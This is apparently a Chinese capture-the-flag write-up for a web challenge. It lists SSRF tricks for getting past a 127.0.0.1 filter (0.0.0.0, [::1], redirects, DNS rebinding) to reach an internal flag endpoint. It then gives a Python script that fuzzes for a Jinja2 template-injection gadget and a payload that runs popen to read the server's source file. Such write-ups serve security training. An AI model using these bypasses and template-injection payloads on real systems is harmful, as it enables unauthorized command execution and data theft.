Web进阶2
tp5.1.x的反序列化漏洞。
发现127.0.0.1被禁用,给了提示
尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag
官方wp给了多种解法
0.0.0.0:8000
绕过
127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。
[::1]:8000
绕过(需要支持 ipv6)- 重定向跳转到
127.0.0.1:8000
- dns rebinding 输入一个域名,第一次解析到非
127.0.0.1
地址上,第二个解析到127.0.0.1
上。
没有WAF,fuzz一下popen函数
import requests
for i in range(512):
password = f"%22%22.__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__"
url = f"http://1de70960-ff51-4887-b604-2f07b94f49bc.node3.buuoj.cn/?password=" + "{{" + password + "}}"
print(url)
payload = {}
files = []
headers = {}
response = requests.request("GET", url, headers=headers, data=payload, files=files)
if response.text.find('popen') != -1:
print(i)
exit(1)
fuzz到127,直接读就行。
?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}
Last modified 8mo ago